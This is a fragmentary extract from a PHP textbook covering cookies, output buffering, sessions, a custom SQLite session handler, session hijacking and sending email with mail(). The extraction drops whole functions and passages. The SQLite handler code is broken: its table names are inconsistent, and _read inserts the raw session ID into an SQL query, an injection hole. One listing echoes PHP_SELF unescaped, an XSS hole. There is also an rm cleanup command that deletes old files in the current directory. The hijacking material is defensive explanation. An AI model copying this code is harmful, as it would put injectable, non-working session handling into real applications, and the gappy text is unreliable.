As you can see, with PHP you are already equipped for the next generation of cookies;
however, due to the necessary backward compatibility of browsers, it may be some
time before this becomes established. But it seems to be worth it, as the new specifica-
tion includes the option of binding cookies to ports.
Output Buffering
We have already hinted at it before: As cookies are sent as part of the HTTP header,
they must be set before the first HTML output because PHP sends all data that you out-
put (e.g., with echo or print or even HTML fragments) directly to the client. However,
you can prevent this by using output buffering.
Proceed as follows:
1. Switch on output buffering with ob_start().
2. Enter the data you wish to output (including cookies).
3. Use ob_end_flush() to send all buffered data to the web browser (if you omit the
function, the buffer is automatically sent to the client at the end of the page).
We can therefore revise Listing 14.1 as follows in Listing 14.5—with the calls to set-
cookie() in the middle of the page.
<?php
ob_start();
?>
<html>
<head>
<title>Cookies</title>
</head>
<body>
<?php
setcookie("ProgrammingLanguage", "PHP",
time() + 60*60*12, "/");
setcookie("LanguageVersion", "8",
mktime(0, 0, 0, 12, 24, 2025), "/");
setcookie("Session", "abc123", 0, "/");
?>
<p>Cookies have been set!</p>
</body>
</html>
<?php
ob_end_flush();
?>
Listing 14.5 Three Cookies Are Set with Buffering ("set-buffering.php")
Output buffering offers numerous other options, only one of which will be briefly out-
lined here: Most web browsers support data compressed using Gzip. This saves a lot of
bandwidth as instead of an HTML document, the web server only sends the zipped ver-
sion of it.
The following call (which must be in the page header) switches on Gzip compression
for the page:
ob_start("ob_gzhandler");
As only a complete page can be compressed using Gzip (or other algorithms), you need
an output buffer here. Incidentally, the PHP mechanism automatically checks whether
the browser supports Gzip at all. If not, the data is sent conventionally—that is,
uncompressed. However, it should be noted that some web servers can also automati-
cally compress all outgoing data with Gzip if desired.
setcookie("CookieTemp", "ok");
setcookie("CookiePerm", "ok", time() + 60*60*24);
These cookies are only available in $_COOKIE when the next document is requested by
the web server. Forwarding using header() is ruled out due to the IIS bug (unless, of
course, you know that your application never needs to be installed on an IIS web
server). Instead, a <meta> HTML tag is used again:
The same script is called again, but this time with ?test=ok appended to the URL. The
script recognizes this parameter and then checks whether the cookies are present or
not:
if (isset($_GET["test"])) {
$temp = array_key_exists("CookieTemp",
$_COOKIE);
$perm = array_key_exists("CookiePerm",
$_COOKIE);
}
<?php
if (isset($_GET["test"])) {
$temp = array_key_exists("CookieTemp",
$_COOKIE);
$perm = array_key_exists("CookiePerm",
$_COOKIE);
setcookie("CookieTemp", "", 0);
setcookie("CookiePerm", "", 0);
} else {
setcookie("CookieTemp", "ok");
setcookie("CookiePerm", "ok", time() + 60*60*24);
}
?>
<html>
<head>
<title>Cookies</title>
<?php
if (!isset($_GET["test"])) {
echo "<meta http-equiv=\"refresh\" " .
"content=\"0;url=" .
htmlspecialchars($_SERVER["PHP_SELF"]) .
"?test=ok\">";
}
?>
</head>
<body>
<?php
if (isset($_GET["test"])) {
echo "Temporary cookies are " .
($temp ? " " : "not ") .
"supported.<br />";
echo "Permanent cookies are " .
($perm ? " " : "not ") .
"supported.";
} else {
echo "Cookies are begin set ... ";
}
?>
</body>
</html>
Note
The code uses the ? operator to output the browser configuration that has been deter-
mined:
echo("Permanent cookies are " .
($perm ? " " : "not ") .
"supported.");
If $perm has the value false, then "not " is inserted; otherwise, just a space.
In addition, the cookies set are deleted again after the test so that no unnecessary rel-
ics are left behind.
On the last point: Possible "restrictions" include, for example, setting many individual
cookies, such as sending one with every graphic—or setting several individual cookies
when this information could also be stored in a single cookie. One reason for this is the
(theoretical) limit of 300 cookies.
Another annoyance is cookie expiration dates. An average PC probably has a lifespan of
two to five years—so letting a cookie run until 2037 is just embarrassing. One year is
usually enough. Due to the limit of 300 cookies, most cookies do not live to see their
first birthday anyway.
What’s the truth of the rumor that cookies are dangerous? If they are only sent to
domains that have also set the cookie, then a transparent surfer is impossible.
This is generally true, but there are a few ways to get around this restriction. Suppose
you visit a website www.xy.zzz that contains an advertising banner sent from www.ad-
company.zzz. It follows that the advertising marketer can set a cookie that can be sent
back to ad-company.zzz. So far, so good.
Now, however, you call up another website which, purely by chance, uses the same
advertising marketer for the banner display. So if a graphic is displayed on this website
and requested by ad-company.zzz, the advertising marketer receives the cookie and
recognizes you—even though you are on a completely different website.
The "damage" in this scenario is, of course, limited. The advertising marketer can deter-
mine which websites you visit, create a profile from this, and offer you targeted adver-
tising. However, personal data such as email addresses or other information you enter
on the website is invisible to the marketer. Practice also shows that target-group-spe-
cific advertising banners do not really seem to work, as both authors' own tests have
shown. Instead, we are often shown ads for products that we have already bought. In
addition, these third-party cookies are filtered out by current browser versions on
request.
A somewhat older approach is to set the domain value in the cookie manually on a data
collection server. Regardless of which page you are on, the cookie always appears to
come from the collection site and is also sent back there. However, this no longer
works; third-party cookies can be automatically rejected in the browser. So even if this
"trick" was once used occasionally, it is now a thing of the past.
HTTP is a stateless protocol; the last chapter pointed this out often enough. Cookies are
only one way of circumventing this restriction. The main problem with cookies from
the end user's point of view is that they can be used to create user profiles within cer-
tain limits. The main problem with cookies from the website developer's point of view
is that they can be deactivated in the browser. Or rather, they could be—but more on
that later.
One possible solution can be expressed in one word: sessions.1 A session occurs when a
surfer visits a website. So if you call up the homepage of an online store, click a few
pages, and surf to another site after 10 minutes, you have had a 10-minute session with
the store. If you return to the store after an hour, this is usually treated as a new session.
PHP offers the option of storing data within a session. This means that you save session
data—using a mechanism explained later—and can access this data again so long as
the session is active. PHP takes care of all the technical details (where the is data stored,
how access is realized, etc.) automatically.
15.1 Preparations
PHP's session support is also part of PHP and does not require any additional DLLs or
configuration switches.2 However, you will want to make modifications to the php.ini
PHP configuration file from time to time during this chapter. There is a [Session] sec-
tion there that summarizes all the related settings. To begin with, it is important to set
the value of session.save_path. The php.ini templates supplied with PHP contain the
following:
session.save_path = "/tmp"
Why is this just a comment? On Unix/Linux systems, the directory /tmp usually exists
and is also writable for the web server or the PHP process, but on Windows this
1 However, as you will see later, sessions and cookies can complement each other perfectly.
2 In return, however, you can completely deactivate session support with the --disable-session con-
figuration option.
directory often does not exist. And if it does exist, the web server may not have write
permissions. Session management therefore fails in such a case. There are three ways
to fix this:
쐍 Create the directory and assign write permissions to the web server.
쐍 Enter a different directory for session.save_path, which must of course exist and for
which the web server has write permissions. In the case of Apache, for example, the
Apache temp directory is suitable as only things that have to do with the web server
are located there. (The system temp directory contains temporary data from all
applications on the computer, which makes debugging more difficult).
쐍 Do nothing. The data will then end up in the system's default temporary directory.
With the combination of Windows 10 and IIS, for example, the C:\Windows\Temp
folder is used.
These preparatory words already suggest how PHP manages the session data: They are
simply written to the file system. There are also other options, but more on this later.
Tip
You cannot simply throw the session data all into one directory; this is no longer per-
formant with some file systems above a certain number of files. There is a configura-
tion option that automatically creates subdirectories for the session data:
session.save_path = "n;/tmp";
Where n is the directory depth (a directory name consists of a number or one of the
characters from a to f). For example, if n has the value 3, session data would be created
in the directory /tmp/1/a/7, among others. These directories must already exist; the
PHP source code contains a shell script (ext/session/mod_files.sh).
3 Serialization converts complex data (objects, arrays) into a "flat" structure such as a string. In PHP,
this is done in particular with the serialize() function. The reverse conversion is performed by the
unserialize() function.
client-server model. The rest of the data storage takes place entirely on the web server
and is handled by PHP.
At first glance, the first option, the use of cookies, seems absurd: it is precisely the dis-
advantage of cookies—that is, that the user (or the administrator) can deactivate
them—that is to be remedied by sessions. At second glance, however, cookies are the
only sensible option for session management. As the following explanations will show,
session management without cookies has glaring disadvantages.
For the second option, we would like to describe this explicitly for the sake of complete-
ness, even if we do not recommend it in any way. In Section 15.6, we explain in more
detail what concerns and security features exist for sessions.
Now first let's look at the technical implementation. Appending the session ID to all
URLs leads to addresses according to the following pattern:
http://server/skript.php?PHPSESSID=d5dbc3af2d4bbcc445990165c5758005
If you now adapt each individual link on each page using PHP so that the session ID is
automatically appended, you have achieved your goal: the session ID is never lost, so
you retain the associated session data. The session ID itself is available as a GET param-
eter and should therefore not affect the output of the script.
Sounds complicated? It is. But PHP wouldn't be PHP if there wasn't a practical way out.
It is possible to automatically adjust all links. This requires two steps:
쐍 Set the session.use_trans_sid option in php.ini to the value 1.
If you are using Unix/Linux, configure PHP with this switch:
--enable-trans-sid:
./configure --enable-trans-sid
쐍 This step is not necessary under Windows; the PHP distribution has already been
compiled in this way.
As soon as you have carried out both steps, the session ID can be automatically
appended to all links. The emphasis here is on can: The decision is made depending on
the session.use_cookies and session.use_only_cookies php.ini configuration settings.
0 0 Yes Without
0 0 No Without
0 1 Yes With
0 1 No Not possible!
1 0 Yes With
1 0 No Without
1 1 Yes With
1 1 No Not possible!
But how does PHP manage to automatically search the generated HTML code for links?
Quite simply, the PHP interpreter searches for certain patterns. These are defined in
php.ini:
session.trans_sid_tags = "a=href,area=href,frame=src,form="
This value has the structure Tag=Attribute, whereby the equals sign is mandatory even
if the attribute is not set. The entry for <form> occupies a special position: This ensures
that a hidden form field with the name and ID of the session is integrated.
Note
A small omission is immediately noticeable at this point: For <iframe> elements, the
session ID is not automatically appended. You should therefore add this value to your
php.ini:
session.trans_sid_tags = "a=href,area=href,frame=src,iframe=src,form="
15.2.2 Performance
It is clear that PHP's session support eats up a lot of performance. After the HTML code
has been generated, it still has to be searched for URLs, and these may have to be
extended by the session ID. This takes time as all links have to be found and rewritten.
For this reason, you should only ever use session support where you need it. An excep-
tion should be made for e-commerce sites, which require session data everywhere, on
every page, because the contents of the shopping cart must not be lost. If desired, PHP
can be configured so that sessions are always active. This is done with the following set-
ting in php.ini:
session.auto_start = 1
By default, session.auto_start has the value 0 for the reasons mentioned previously.
Note
In the following examples, we always assume that sessions are not automatically acti-
vated. We therefore start the session on each individual page with the session_
start() PHP function. If you set session.auto_start to 1, you must remove the call to
session_start() from the example listings.
There is a potential performance problem: The directory for the session data could
overflow. As a countermeasure, the PHP interpreter automatically cleans up if
required. The process is known as garbage collection. First, you specify the probability
with which this process—which itself costs performance—should be executed. This
probability is specified as a fraction. The numerator is in session.gc_probability and
the denominator in session.gc_divisor. Here you can see the default settings from
php.ini:
session.gc_probability = 1
session.gc_divisor = 1000
In this case, the cleaning process is carried out on average every thousandth time the
session management is called up, and old session data that is no longer required is
deleted. But when is a session considered old or unnecessary? This is indicated by a
third configuration switch:
session.gc_maxlifetime = 1440
Note
Unfortunately, this does not always work. You should therefore use a cron job or the
Windows scheduler to ensure that files with an old modification date are regularly
removed from the session directory. Consider an example for Unix/Linux. With the fol-
lowing, all files in the current directory (i.e., they should be in the session directory) that
have not been changed for more than 24 minutes are deleted:
find -cmin +24 | xargs rm
Note
As cookies may be used, you must start the session management before sending HTML
to the client, so call session_start() in the header of the page. The data can be written
anywhere on the page, however, as only the session ID is sent to the client. This is
already defined when session_start() is called.
<?php
session_start();
?>
<html>
<head>
<title>Sessions</title>
</head>
<body>
<?php
$_SESSION["Programming language"] = "PHP";
$_SESSION["Language version"] = 8;
?>
The output in the web browser is not earth-shattering. However, if you configure look
at the HTTP requests in the browser developer tools (see Figure 15.1), you will notice that
PHP actually tries to send a cookie—provided you have set session.use_cookies to 1.
At this point, you will certainly notice a small problem: Whether the user accepts the
cookie or not can only be determined on the next request to the web server. In other
words, if the cookie is rejected, PHP will not detect this until the next request. To be on
the safe side, PHP automatically adds the session ID to the link (as noted before, only if
you have activated this, which is not a good idea, as we will explain later). The HTML
code generated by the PHP script looks like the following, except that the session ID will
be different on your system:
<html>
<head>
<title>Sessions</title>
</head>
<body>
<p>Session variables have been set!</p>
<p><a href="read.php?PHPSESSID=608ee8f487078be111287100b8b4851b">Continue ...
</a></p>
</body>
</html>
If you look in the session directory, you will find a file for the session there (see Figure
15.2); the file name is made up of sess_ and the corresponding session ID. This file con-
tains the specified values in serialized form:
Figure 15.2 The Session Directory with One File: There Are Many More on a Production System
<?php
session_start();
?>
<html>
<head>
<title>Sessions</title>
</head>
<body>
<p>Programming language:
<?php
if (isset($_SESSION["Programming language"])) {
echo htmlspecialchars($_SESSION["Programming language"]);
}
?>
</p>
<p>Language version:
<?php
if (isset($_SESSION["Language version"])) {
echo htmlspecialchars($_SESSION["Language version"]);
}
?>
</p>
<p><a href="<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>">Reload
</a></p>
</body>
</html>
If you take a closer look at the generated HTML code, you will notice that now, after the
second call of a page with session support, the URL is no longer extended by the session
ID if you have activated cookie support in your browser (see Figure 15.3). Otherwise, the
session ID will continue to be attached to all links and will not be lost even when using
forms or frames.
For further programming, the result of both methods is the same, but for performance
reasons, the use of unset() is preferable:
<?php
if (isset($_SESSION["Programming language"])) {
unset($_SESSION["Programming language"]);
}
?>
It is also possible to delete an entire session (e.g., when logging out). This requires two
steps:
쐍 First, session_unset() deletes all variables from the session; this is equivalent to
removing all variables from $_SESSION in a foreach loop using unset(). Alternatively,
you can also use the following trick to delete the session array:
$_SESSION = [];
You may also be interested in deleting the session cookie, if it has been set at all. Its
name is set in php.ini. The following entry is found there by default:
session.name = PHPSESSID
You can read this value dynamically from PHP with session_name() from PHP. The fol-
lowing call deletes this (temporary) cookie:
<?php
setcookie(session_name(), "away with it", 0, "/");
?>
<?php
session_start();
?>
<html>
<head>
<title>Sessions</title>
</head>
<body>
<?php
session_unset();
session_destroy();
setcookie(session_name(), "away with it", 0, "/");
?>
<p>Everything deleted!</p>
</body>
</html>
The parameter for session_start() is therefore an array, so you can also specify several
values at once.
The application consists of two parts: first, an include file in which a check is carried out
for the existence of the session variable. If this variable does not exist, then a redirect is
made to the login page. The special feature is that the current URL is appended so that
a direct redirect to the original page is possible after login. The following listing shows
the code for this.
<?php
session_start();
<?php
require_once "login.inc.php";
?>
<html>
<head>
<title>Protected Area</title>
</head>
<body>
<h1>Secret Info ...</h1>
</body>
</html>
Now only the login form is missing (see Figure 15.4). The combination of user name and
password is checked there. In the example, the correct combination is entered directly
in the script; this data is normally retrieved from a database to allow multiple users
access.
If the $url GET variable is set, the redirection is carried out to the specified address; oth-
erwise to the standard page (in the example: index.php).
<?php
session_start();
<html>
<head>
<title>Restricted Area / Login</title>
</head>
<body>
<form method="post" action="">
User: <input type="text" name="user" size="10" /><br />
Password: <input type="password" name="password" size="10" /><br />
<input type="submit" value="Login" />
</form>
</body>
</html>
session itself to be kept in a database. In such cases, PHP allows you to take care of ses-
sion data management yourself. The corresponding PHP function is called session_
set_save_handler():
Note
On a production server, you must of course ensure that the sessions.db file cannot be
accessed from outside. Store the file outside the main directory of the web server or
configure your server so that files with the .db extension are not sent to the client.
We will now build the code step by step. First, we save the name of the database file in a
global variable for later easy customization and write a function that then creates the
table. We need three fields:
쐍 id
The session ID
쐍 data
The session data
쐍 access
The date of the last access to the session data
For example:
<?php
$GLOBALS["sessions_db"] = "sessions.db";
function createDB() {
$db = new SQLite3($GLOBALS["sessions_db"]);
$result = $db->query("CREATE TABLE sessiondaten (id VARCHAR(32)
PRIMARY KEY, data TEXT, access VARCHAR(14))");
$db->close();
}
Because SQLite is a nontyped database, it makes sense to write a helper function that
returns a timestamp. The advantage of this approach is that timestamps can be sorted
as the "largest" components of a date are always at the front—first the year, then the
month, then the day, hour, minute, and second:
function timestamp() {
return date("YmdHis");
}
First comes the function that is to be started when a session is opened. There is not
much to do here initially; the connection to the database is opened and saved in a
global variable. PHP automatically passes the session path and the corresponding ses-
sion name as parameters; for our purposes, however, neither is of interest. The func-
tion also absolutely requires a return value:
function _close() {
$GLOBALS["sessions_id"]->close();
unset($GLOBALS["sessions_id"]);
return true;
}
Things become interesting when reading the session data. PHP automatically passes
the session ID to the associated handling function; the routine then returns the com-
plete serialized session data. As noted, PHP takes care of all the tedious rest, such as fill-
ing the $_SESSION array. The readout is therefore limited to the execution and
evaluation of a simple SELECT SQL query. In addition, the date of the last access is set to
the current timestamp. This records that the session has been accessed and the session
is therefore still active. If the database is not open (which should not actually happen,
but better safe than sorry), then _open() is called explicitly:
function _read($sessionid) {
if (!isset($GLOBALS["sessions_id"])) {
_open("", "");
}
$result = $GLOBALS["sessions_id"]->
query("SELECT data FROM session data WHERE id='$sessionid'");
$row = $result->fetchArray();
if ($row) {
$value = $row["data"];
$sessionid = $GLOBALS["sessions_id"]->escapeString($sessionid);
$GLOBALS["sessions_id"]->query("UPDATE session data SET access=
'" . timestamp() . "' WHERE id='$sessionid'");
} else {
$value = "";
}
return $value;
}
The procedure is similar when writing session data. An UPDATE statement updates both
the value of the session information and the date of the last access. If this fails, there
was no data in the session yet, which is why an INSERT command is added:
}
return true;
}
The return value TRUE indicates that the write operation was successful (i.e., no further
checking takes place here).
That was the main part of the work. Only the cleanup work remains. When deleting a
session, all associated data must be destroyed:
function _destroy($sessionid) {
$sessionid = $GLOBALS["sessions_id"]->escapeString($sessionid);
$GLOBALS["sessions_id"]->query("DELETE FROM sessiondaten WHERE id=
'$sessionid'");
return true;
}
There is another special feature when cleaning up: session data that has not been
accessed for a long time should be deleted. The lifetime in seconds is passed as a param-
eter to the handling function. The deletion takes place in three steps:
쐍 First, a date value is determined that lies as far back in the past as the lifetime of a
session is specified.
쐍 This date value is then converted into a timestamp.
쐍 Finally, all session data with a timestamp smaller than the calculated timestamp is
removed.
function _gc($lifetime) {
$expiration = time() - $lifetime;
$expiration_timestamp = date("YmdHis", $expiration);
$GLOBALS["sessions_id"]->
query("DELETE FROM session data WHERE access < '$expiration_timestamp'");
return true;
}
?>
And that's it! Now you just need to register the six functions with session_set_save_
handler() and ensure that any session data is written when the page is closed:
<?php
$GLOBALS["sessions_db"] = "sessions.db";
function createDB() {
$db = new SQLite3($GLOBALS["sessions_db"]);
$result = $db->
query("CREATE TABLE sessiondaten (id VARCHAR(32) PRIMARY KEY,
data TEXT, access VARCHAR(14))");
$db->close();
}
function timestamp() {
return date("YmdHis");
}
function _close() {
$GLOBALS["sessions_id"]->close();
unset($GLOBALS["sessions_id"]);
return true;
}
function _read($sessionid) {
if (!isset($GLOBALS["sessions_id"])) {
_open("", "");
}
$result = $GLOBALS["sessions_id"]->
query("SELECT data FROM session data WHERE id='$sessionid'");
$row = $result->fetchArray();
if ($row) {
$value = $row["data"];
$sessionid = $GLOBALS["sessions_id"]->escapeString($sessionid);
$GLOBALS["sessions_id"]->query("UPDATE session data SET access=
'" . timestamp() . "' WHERE id='$sessionid'");
} else {
$value = "";
}
return $value;
}
function _destroy($sessionid) {
$sessionid = $GLOBALS["sessions_id"]->escapeString($sessionid);
$GLOBALS["sessions_id"]->query("DELETE FROM session data WHERE id=
'$sessionid'");
return true;
}
function _gc($lifetime) {
$expiration = time() - $lifetime;
$expiration_timestamp = date("YmdHis", $expiration);
$GLOBALS["sessions_id"]->
query("DELETE FROM session data WHERE access <
'$expiration_timestamp'");
return true;
}
On this basis, the start example can be adapted quickly and easily for use with SQLite.
To do this, it is essentially only necessary to replace the call to session_start() by load-
ing the sessions.inc.php self-written library. The following listing shows the code for
writing the session variables.
<?php
require_once "sessions.inc.php";
?>
<html>
<head>
<title>Sessions</title>
</head>
<body>
<?php
$_SESSION["Programming language"] = "PHP";
$_SESSION["Language version"] = 8;
?>
<?php
require_once "sessions.inc.php";
?>
<html>
<head>
<title>Sessions</title>
</head>
<body>
<p>Programming language:
<?php
if (isset($_SESSION["Programming language"])) {
echo(htmlspecialchars($_SESSION["Programming language"]));
}
?>
</p>
<p>Language version:
<?php
if (isset($_SESSION["Language version"])) {
echo(htmlspecialchars($_SESSION["Language version"]));
}
?>
</p>
<p><a href="<?php echo($_SERVER['PHP_SELF']); ?>">Reload</a></p>
</body>
</html>
The reason for this is very simple: the key to all information, the session ID, is in this
case in the plain text of the URL. Imagine the following situation: A webmail provider
uses cookieless sessions. You send an email to a customer of the webmail provider with
a link to your website, or more precisely, with a link to a PHP script. When the mail
recipient clicks the link, the script is called up. The first thing you do with the script is
look at $_SERVER["HTTP_REFERER"]. Web browsers send the URL of the previous page in
this HTTP header field.4 With minimal effort, you can read this and at the same time
determine the customer's current session ID with the webmail provider. This is also
known as session hijacking (see also Chapter 32).
When freemail services were just becoming popular, some well-known providers were
susceptible to this type of attack. For this reason, all mail providers now use (tempo-
rary) cookies to transfer the session ID.
There are several countermeasures against session hijacking, but none of them work
completely. One potential antidote is to restrict sessions to one IP address. This can be
done in several steps:
1. When creating the session, save the visitor's current IP address in a separate session
variable:
$_SESSION["ip"] = $_SERVER["REMOTE_ADDR"];
2. Each time the session is accessed, the system checks whether the IP address is still
correct. If not, the session is deleted:
if ($_SESSION["ip"] != $_SERVER["REMOTE_ADDR"]) {
session_unset();
session_destroy();
setcookie(session_name(), "away with it", 0, "/");
}
However, this procedure also has a catch. The entry in the $_SERVER ["REMOTE_ADDR"]
field is not always reliable, especially if a proxy server is in use. This also harbors dan-
gers:
쐍 When using a proxy server, all users behind the proxy have the same IP address
from the web server's point of view. It is therefore easy to steal a session ID within a
company network. Some internet providers are also notorious for using different
proxies.
쐍 The true IP address of the user is in $_SERVER["HTTP_X_FORWARDED_FOR"]—but not
always.
4 With the referrer policy HTTP header, this behavior can at least be limited somewhat. More infor-
mation can be found in the specification at http://s-prs.co/v602281.
Note
The article at http://s-prs.co/v602282, which is also linked to from the PHP online man-
ual, provides a good overview of the problem of the "hostile takeover" of sessions.
session.cookie_samesite = "Strict"
Sending emails from a dynamic web application is one of the classic standard tasks.
Data from the contact form must somehow be sent to the addressee—that is, the web-
master. If errors occur in the application, an automatically generated email would be
very practical. And, of course, newsletters that are sent automatically by the web server
are a useful thing.
In general, it is not difficult to send emails on the server side. However, the proverbial
devil is—as so often—in the details. While "simple" emails are still very easy to send,
you need either additional know-how or external libraries for more complicated emails
(e.g., with file attachments and formatting).
16.1 Preparations
The mail module is integrated into PHP, so no additional installations or configuration
switches are required. However, this is where php.ini comes into play again. There is
one important point to bear in mind: An SMTP server is required to send emails; with-
out it, doing so is not possible. And because this is so important and is often asked
about, we will repeat it once again in an information box.
Note
You can't do without an SMTP server. Really. (You don't always have to address it via
the network, but that's another topic.)
The abbreviation SMTP stands for Simple Mail Transfer Protocol. The name says it all.
The syntax of the protocol is very simple. You can even try it out using Telnet—if you
have access to an SMTP server (see Figure 16.1). To do this, you only need to specify the
standard port for SMTP—that is, 25—as the second parameter for calling Telnet:
telnet mailservername 25
Figure 16.2 shows the resulting email (we are using smtp4dev, described further below).
However, this does not always work. Even worse: many mail servers are configured in
such a way that emails are only accepted from known email addresses or IP addresses
as a result of rampant amounts of spam. One example of this is the mail server of the
GMX mail service: as shown in Figure 16.3, it immediately recognizes fantasy domains
and also sounds the alarm for valid domains.1 Only GMX members are allowed to send
mails.
1 The screenshot is a little older. The bumpy English has since been corrected but is no longer as bold;
it now simply says "Authentication required."
And another warning: Due to the spam problem, many mail servers check which IP
address an email comes from. So if you have an SMTP server running on your local sys-
tem, it is quite possible that your emails will still not arrive. The reason for this is that
most spammers dial in via conventional broadband and send their advertising emails
using a local SMTP server. As a result, many receiving email servers reject emails from
local dial-in IPs. For testing purposes, it is nevertheless advisable to use a local mail
server; the log files alone show whether the mail dispatch could have worked or not.
The following products are suitable:
쐍 Under Unix/Linux, the sendmail, qmail, or postfix program; all of them implement a
mail server.
쐍 Some versions of Microsoft's IIS include the Microsoft SMTP Service, a fully-fledged
SMTP service. Under Windows Server, for example, you can install it as a feature (see
Figure 16.4).
Note
Of course, this does not mean that all emails that you send from your desktop computer
will not reach the recipient. It is always the IP address of the sending server that counts. So
if you use your provider's mail server, its IP address is decisive (and usually not suspicious).
Tip
For testing, we recommend the smtp4dev tool from https://github.com/rnwood/
smtp4dev. It’s free, open-source and cross-platform development SMTP server. With
this, mails are not even sent, but you can intercept and view them locally. It’s perfect
for development! Figure 16.5 shows the user interface of the tool.
For Unix/Linux, PHP expects sendmail in any case. For users of qmail or postfix, this is
not a problem at first, because both offer special wrappers that make the application
think it is communicating with a sendmail server. If you are using a different server,
make sure that there is a binary that behaves like sendmail.
Now it's time to configure php.ini. There are eight entries within the [mail function]
section, although not every entry is required for every operating system (the most
important are the first four):
쐍 SMTP
Name of the SMTP server used (e.g., localhost for a local server). Only necessary
under Windows!
쐍 smtp_port
Port of the SMTP server (if it is not the default port 25); only necessary under Win-
dows!
쐍 sendmail_from
Sender of the emails sent. Only necessary under Windows!
쐍 sendmail_path
Path for sendmail including parameters (e.g., sendmail -t). Only necessary under
Unix/Linux!
쐍 mail.force_extra_parameters
Additional parameters that must always be sent to the email program.
쐍 mail.add_x_header
Specifies whether the name and UID of the PHP script should be added to the mail
via the header.
쐍 mail.mixed_lf_and_crlf
Mixed line endings (only necessary for exotic mail servers).
쐍 mail.log
Log for all calls to mail().
Tip
The extra mail parameters can also be set programmatically. The configuration setting
in php.ini is mainly of interest to hosts who want to prevent the user from passing
parameters directly to the mailer.
The standard versions of php.ini delivered with PHP are different for Unix/Linux and
Windows; the configuration parameters that are not relevant for the respective system
are commented out. Here you can see possible values for a Unix/Linux installation:
sendmail_path = "/var/qmail/bin/qmail-inject"
SMTP = localhost
smtp_port = 25
sendmail_from = "[email protected]"
Note
For reasons of clarity, we have omitted most of the error corrections in this chapter.
However, especially when sending emails, you should always check whether they have
been sent successfully—at least to the mail server. Of course, you cannot determine
whether the recipient has received the email because your mail server forwards the
email to the recipient's mail server, and this server is outside your control.
bool mail ( string to, string subject, string message [, string additional_
headers [, string additional_params]])
The five parameters, of which only the first three are mandatory, represent the follow-
ing information:
쐍 Receiver
쐍 Subject
쐍 Mail message
쐍 Additional mail headers (e.g., "X-Sender: PHP")
쐍 Additional parameters for the mail program (Unix/Linux only; e.g., setting the
sender address with -f, which is sometimes prevented for security reasons)
Tip
The use of named function arguments is a logical choice here.
<?php
mail(to: "[email protected]",
subject: "Mail from PHP",
message: "This mail was sent automatically!" .
"\n\nThank you.");
?>
Note
We mostly use invalid email addresses in the examples in this chapter; the xy.zzz
domain does not exist, of course. You must therefore adapt the listings to your system
and use a valid address. In this way, we avoid unpleasant experiences from the past,
when many readers simply wanted to test the programs without paying attention to
the description text. The consequence of this was that we received an abundance of test
emails. Interestingly, some readers of the German editions of this book read the above
note - and then simply used the authors' contact address as the recipient address.
Tip
If you want to specify not only the email address but also the corresponding name for
the recipient, use the following format:
"One name" <[email protected]>
The fourth parameter for mail() (additional_headers) allows great flexibility: addi-
tional mail headers can be integrated there. One possibility, for example, is to set the X-
Mailer header entry, which is responsible for the name of the sending mail program.
This would allow you to integrate the PHP version used as in the following listing.
<?php
mail(to: "[email protected]",
subject: "Mail from PHP",
message: "This mail was sent automatically!" .
"\n\nThank you.",
additional_headers: "X-Mailer: PHP/" . phpversion());
?>
Depending on the mail program, you may need to call a different command to view the
mail headers; Figure 16.7 shows an example.
However, other mail headers are particularly useful:
쐍 Cc
For copy recipients
쐍 Bcc
For blind copy recipients
쐍 X-Priority
For the importance of the email
쐍 Reply-To
For the reply address of the email
Tip
For those who are interested, the web standard on which emails are based is RFC 822 and
can be viewed at http://s-prs.co/v602283. RFC 2822 (www.ietf.org/rfc/rfc2822.txt) extends
RFC 822.
All these headers can be separated from each other by a line break (\r\n) in the fourth
parameter of mail(). The following code therefore creates an email that
쐍 has two copy recipients,
쐍 has a blind copy receiver,
쐍 has an importance rating of low,
쐍 and has a different address given for the reply.
<?php
mail(to: "[email protected]",
subject: "Mail from PHP",
message: "This mail was sent automatically!" .
"\n\nThank you.",
additional_headers:
"Cc: [email protected],[email protected]\r\nBcc:[email protected]\r\n" .
"X-Priority: low\r\nReply-To:[email protected]\r\n" .
"X-Mailer: PHP/" . phpversion());
?>
Listing 16.3 A Mail with Multiple Recipients and Further Options ("mail3.php")
(Mail) Priorities
Note that for mail, high priority does not mean that an email is processed any faster.
The only effect of this setting is that the mail is specially marked in the recipient's mail
program—no more and no less. Unfortunately, the bad habit of labeling emails as
"important" sometimes creeps in, even if they are not that important. In other words,
high importance often has the opposite effect.
In addition, mail priority is not standardized in RFC 822. This can be recognized by the
X- prefix of X-Priority. It is therefore at the discretion of the email program whether
and how this mail header is interpreted. The following values for X-Priority seem to
have become generally accepted:
쐍 Low
쐍 Normal
쐍 High
Other entries, such as very high or very low, are only supported by specific email clients.
Tip
You can also use the From:[email protected] header under Windows to overwrite the
php.ini sendmail_from setting in Windows. In Unix/Linux, this is a convenient way to
set the mail sender.
Note
At www.mhonarc.org/~ehood/MIME/, there is a good overview of the various MIME
standards, which are now filed under RFCs 2045 to 2049. MIME stands for Multipur-
pose Internet Mail Extensions and describes the structure of emails along with special
formats and file attachments.
Let's start with the headers. The Content-Type entry determines the type of the con-
tent.2 Various MIME types can be selected here:
쐍 multipart/mixed
Different data types in the same mail, such as mail text and a file attachment
쐍 multipart/alternative
Mail content that can be displayed alternatively (e.g., as text and HTML)
The individual mail parts are separated from each other by a separator string. This char-
acter string can be arbitrary, but you must ensure that it does not occur randomly in
the message text. For this reason, a large random string is usually used. For reasons of
clarity, we always use the same separator string in the following: separator-0815.
Within the email, the separator is identified by the fact that the line in which it is
located begins with two hyphens. A simple way to create a suitable separator is, for
example, to use a random number or the MD5 hash of it:
Here is the content of an email that consists of two parts—plain text and HTML con-
tent:
From: [email protected]
To: [email protected]
Subject: MIME message
MIME version: 1.0
Content-type: multipart/mixed; boundary="separator-0815"
Preamble, which is not visible, except for very old clients
--separator-0815
Content-type: text/plain; charset="iso-8859-1"
Pure text
--separator-0815
Content-type: text/html
Note
You can see that the last section of the mail also ends with the separator. So that the
mail program understands that the mail has now ended, the last separator is termi-
nated with two hyphens.
When using multipart/mixed, all mail components would be displayed. However, if you
set multipart/alternative, the email program itself chooses what is displayed. Here
you can see the mail with the content alternatives:
From: [email protected]
To: [email protected]
Subject: MIME message
MIME version: 1.0
Content-type: multipart/alternative; boundary="separator-0815"
These two mails can also be generated with PHP using the mail() function. You only
need to set the headers accordingly as in the following listing.
<?php
$mailtext1 = 'preamble, which is not visible except on very old clients
